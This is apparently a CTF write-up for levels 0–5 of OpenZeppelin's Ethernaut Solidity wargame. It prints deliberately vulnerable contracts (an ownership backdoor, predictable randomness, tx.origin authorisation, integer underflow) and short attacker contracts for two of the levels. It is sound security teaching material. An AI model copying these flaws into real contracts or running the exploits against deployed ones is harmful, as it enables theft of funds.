Solving Ethernaut - Part 1 - Levels 0 to 5
Overview
Another Solidity and Ethereum security CTF game. This time we will be solving Ethernaut, the game hosted by OpenZeppelin.
As I did with CaptureTheEther, I used Remix IDE for solving most of the levels. The game mechanics here are a bit different than in CTE, mostly because the interaction with the contracts is done via the browser console. You can access it right-clicking on the page and opening the Inspector, then selecting the Console tab. It is recommended to have some basic knowledge of JavaScript, since the console interprets this language, however, it's not a requirement to finish the game.
Info
All my solutions to Ethernaut were coded some time ago, however, I had a bit more experience with Solidity than when I solved CaptureTheEther. The code still won't win any style or correctness competition, but does its job.
It's possible to see an improvement on the quality of my code. The contracts I used were not modified nor prettified for publishing, so I'm quite proud of my progress. Still there's a lot of room for even more improvements. Never stop learning and getting better at something.
The complete code for these solutions is at my Ethernaut-solutions github repo.
Level 0: Hello Ethernaut
This is an introductory level. It guides you through the game mechanics, the interaction with the contracts and the instance creation process. Read the instructions carefully and keep in mind that most of the remaining levels will follow similar logic.
Contract analysis
The contract is revealed upon completion of the level. Until then, all interactions are made using the console and the contract ABI.
Vulnerability / Attack vector
None, just a walkthrough for the game mechanics.
Solution
Follow the 9 steps, solve the riddles of the contract, and finish the level.
Conclusions
This introductory level will teach you:
- The process of setting up a wallet, getting testnet ether and deploying the level instance.
- Opening the browser JavaScript console.
- The interaction with smart contracts from the browser JavaScript console using its ABI.
If all this works correctly in your setup, you're all set to solve the rest of the challenges.
Level 1: Fallback
The first real challenge of the series. The goal is to become the owner of the contract, and to empty its balance. There are some hints and tips too, like in most other levels. Make sure to read them and understand how those can help you in solving the challenge.
Contract analysis
This contract implements a variation of the King of the Hill game. To become the owner, you need to make a bigger contribution than the current owner. That said, only the owner is allowed to withdraw the money stored in the contract.
The code is to be compiled with an old (as of today) version of Solidity. However, it uses SafeMath to prevent integer overflows in mathematical operations.
There's an owner that is set to the deployer of the contract (that is, Ethernaut), a mapping that lists the contributions for each address, and the definition of the onlyOwner
modifier.
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.6.0;
3
4import '@openzeppelin/contracts/math/SafeMath.sol';
5
6contract Fallback {
7
8 using SafeMath for uint256;
9 mapping(address => uint) public contributions;
10 address payable public owner;
11
12 constructor() public {
13 owner = msg.sender;
14 contributions[msg.sender] = 1000 * (1 ether);
15 }
16
17 modifier onlyOwner {
18 require(
19 msg.sender == owner,
20 "caller is not the owner"
21 );
22 _;
23 }
24
25 function contribute() public payable {
26 require(msg.value < 0.001 ether);
27 contributions[msg.sender] += msg.value;
28 if(contributions[msg.sender] > contributions[owner]) {
29 owner = msg.sender;
30 }
31 }
32
33 function getContribution() public view returns (uint) {
34 return contributions[msg.sender];
35 }
36
37 function withdraw() public onlyOwner {
38 owner.transfer(address(this).balance);
39 }
40
41 receive() external payable {
42 require(msg.value > 0 && contributions[msg.sender] > 0);
43 owner = msg.sender;
44 }
45}
Vulnerability / Attack vector
There's a backdoor that allows pretty much anyone to become the owner, by exploiting the receive()
function.
Solution
The expected way to become owner is by calling contribute()
with a msg.value
higher than the current owner contribution. Looking at the constructor, the current owner has an initial contribution of 1000 ether, so it's a bit expensive to go that way. The alternative lies in the receive()
function, which states that anyone that has already contributed can become the owner by sending some ether directly to the contract.
To interact with that receive()
function from Remix, you should make a low level call to the contract with no calldata, and the transaction value set to something higher than 0. Directly doing that will trigger a revert from the require()
at line 42. To prevent this, the player account should make a contribution calling contribute()
prior to sending the ether.
Once the ownership is taken over, the level can be finished by calling withdraw()
Conclusions
Having two functions to perform the same action is dangerous, because it has the potential to increment the vulnerable surface of the contract. This level could be an example of a contract that performed the correct checks on both functions, but for some reason one of them was changed.
Level 2: Fallout
Again, the goal is to become the owner of the contract. Easy task, clear instructions.
Contract analysis
The contract is similar to the previous level. It keeps track of allocations instead of contributions, by means of four public functions. The implementation is an ownable contract with owner set to Ethernaut, SafeMath library, and onlyOwner
modifier.
In a big difference from the Level 1 contract, there's no receive()
function.
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.6.0;
3
4import '@openzeppelin/contracts/math/SafeMath.sol';
5
6contract Fallout {
7
8 using SafeMath for uint256;
9 mapping (address => uint) allocations;
10 address payable public owner;
11
12
13 /* constructor */
14 function Fal1out() public payable {
15 owner = msg.sender;
16 allocations[owner] = msg.value;
17 }
18
19 modifier onlyOwner {
20 require(
21 msg.sender == owner,
22 "caller is not the owner"
23 );
24 _;
25 }
26
27 function allocate() public payable {
28 allocations[msg.sender] = allocations[msg.sender].add(msg.value);
29 }
30
31 function sendAllocation(address payable allocator) public {
32 require(allocations[allocator] > 0);
33 allocator.transfer(allocations[allocator]);
34 }
35
36 function collectAllocations() public onlyOwner {
37 msg.sender.transfer(address(this).balance);
38 }
39
40 function allocatorBalance(address allocator) public view returns (uint) {
41 return allocations[allocator];
42 }
43}
Vulnerability / Attack vector
Similar to CTE's Assume ownership challenge, there's a typo (really? I'm quite sure it was intentional!) in the constructor.
Solution
To solve the level, just call the Fal1out()
function. Note that the second lowercase L
is actually a number 1
. Some monotyped fonts are not clear enough and those characters look very similar.
Conclusions
For Solidity versions higher than 0.5.0, the constructor is not allowed to have the same name as the contract. It must use the constructor()
keyword.
The fun (for a broad definition of fun) part of the level is that the contract compiles because of the vulnerability, since its pragma requires Solidity version 0.6.
Level 3: Coin Flip
To solve this level, you have to guess 10 times in a row the correct value of a boolean. This value comes from the blockhash of the previous block.
Contract analysis
The goal is to make uint256 consecutiveWins
equal 10. The flip(bool)
function checks that only one guess per block is made, and calculates the bool side
value from the previous block hash, and a constant FACTOR
used as divisor.
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.6.0;
3
4import '@openzeppelin/contracts/math/SafeMath.sol';
5
6contract CoinFlip {
7
8 using SafeMath for uint256;
9 uint256 public consecutiveWins;
10 uint256 lastHash;
11 uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
12
13 constructor() public {
14 consecutiveWins = 0;
15 }
16
17 function flip(bool _guess) public returns (bool) {
18 uint256 blockValue = uint256(blockhash(block.number.sub(1)));
19
20 if (lastHash == blockValue) {
21 revert();
22 }
23
24 lastHash = blockValue;
25 uint256 coinFlip = blockValue.div(FACTOR);
26 bool side = coinFlip == 1 ? true : false;
27
28 if (side == _guess) {
29 consecutiveWins++;
30 return true;
31 } else {
32 consecutiveWins = 0;
33 return false;
34 }
35 }
36}
The _guess
argument is compared to the calculated side
boolean, and if they match, consecutiveWins
is incremented. If you miss your guess, the counter gets reset.
Vulnerability / Attack vector
The values used to calculate side
are constant in a given block. It is possible to precalculate the value and then call flip(bool)
with the correct argument.
Solution
To solve the level, I created this contract that calls flip(bool)
with the expected value. However, since only one guess is allowed per block, you have to manually call attack()
ten times in different blocks.
1contract CoinFlipAttack {
2
3 using SafeMath for uint256;
4 CoinFlip public target;
5
6 constructor(address _target) public {
7 target = CoinFlip(_target);
8 }
9
10 function attack() public {
11 uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
12 uint256 blockValue = uint256(blockhash(block.number.sub(1)));
13 uint256 coinFlip = blockValue.div(FACTOR);
14 bool side = coinFlip == 1 ? true : false;
15
16 target.flip(side);
17 }
18}
The uint256 consecutiveWins
variable is public in CoinFlip
contract, so you can check its value during the attack and stop when it gets to 10.
Conclusions
The original game had a success rate of about 1 in $2^{10}$, that is approximately 1 in 1000. The bug increased this rate to 1 in 1, it is technically impossible not to win this game with the exploit.
Randomness on the blockchain is a hard problem to solve. If you need random values, consider using Chainlink VRF or similar trusted sources of randomness.
Level 4: Telephone
Another short level, that teaches a very important concept of Solidity and EVM. The goal is to claim ownership of the contract.
Contract analysis
Only one public function changeOwner(address)
in the contract, and 2 lines of logic. The owner gets initialized to Ethernaut on deployment. To change the owner, tx.origin
must be different to msg.sender
. The new owner comes as an argument to the function.
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.6.0;
3
4contract Telephone {
5
6 address public owner;
7
8 constructor() public {
9 owner = msg.sender;
10 }
11
12 function changeOwner(address _owner) public {
13 if (tx.origin != msg.sender) {
14 owner = _owner;
15 }
16 }
17}
Vulnerability / Attack vector
There are no vulnerabilities here, this level makes sure the player understands what tx.origin
and msg.sender
exactly mean for a given transaction.
Solution
The tx.origin
is an Ethereum account whose secret key is known and initiated the transaction. These kind of accounts are called EOA, externally owned accounts, and their main difference with contract accounts is that EOAs can initiate transactions.
The msg.sender
is the address of the caller to the current function. This can be equal to tx.origin
if the function was directly called by the EOA.
These values can be different if the function is called from another contract, as shown in the figure
So the solution lies in deploying a contract that acts as a middle-man:
1contract TelephoneAttack {
2 Telephone target;
3
4 constructor(address _target) public {
5 target = Telephone(_target);
6 target.changeOwner(msg.sender);
7 }
8}
The call to the changeOwner(address)
function of Telephone
is made in the constructor, so there's nothing else to do.
Conclusions
There are many discussions about using tx.origin
and its potential security implications. For example this issue at Solidity's GitHub.
If you're using tx.origin
to validate some condition in your contract, remember that the user can be tricked to interact with a middle man, allowing the rogue contract to impersonate him.
Level 5: Token
This level gives the player 20 tokens and expects him to get some more. The hints are quite obvious if you finished CaptureTheEther: "preferably a very large amount of tokens" and "What is an odometer?" pretty much give away the solution.
Contract analysis
The contract implements a transfer(address, uint)
function, and a balanceOf(address)
function. The last one is somewhat redundant, as the mapping(address => uint) balances
variable is public, and the bug isn't there because it's a view
function, so it can't modify storage.
This leaves us with a vulnerable transfer(address, uint)
function.
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.6.0;
3
4contract Token {
5
6 mapping(address => uint) balances;
7 uint public totalSupply;
8
9 constructor(uint _initialSupply) public {
10 balances[msg.sender] = totalSupply = _initialSupply;
11 }
12
13 function transfer(address _to, uint _value) public returns (bool) {
14 require(balances[msg.sender] - _value >= 0);
15 balances[msg.sender] -= _value;
16 balances[_to] += _value;
17 return true;
18 }
19
20 function balanceOf(address _owner) public view returns (uint balance) {
21 return balances[_owner];
22 }
23}
Vulnerability / Attack vector
Integer overflow in line 15.
Solution
Even though there's a require
at line 14 that should check the balance, it deals with unsigned integers. Any mathematical result with unsigned integers will be equal or greater than zero, simply because there are no negative numbers (unsigned, remember?).
The attack does not require deploying a contract, the easy way to finish the level is transferring 21 tokens somewhere.
Conclusions
Even though there was an intent to validate the values, the programmer didn't see the flaw. This bug would not be exploitable if SafeMath or a newer Solidity version were used.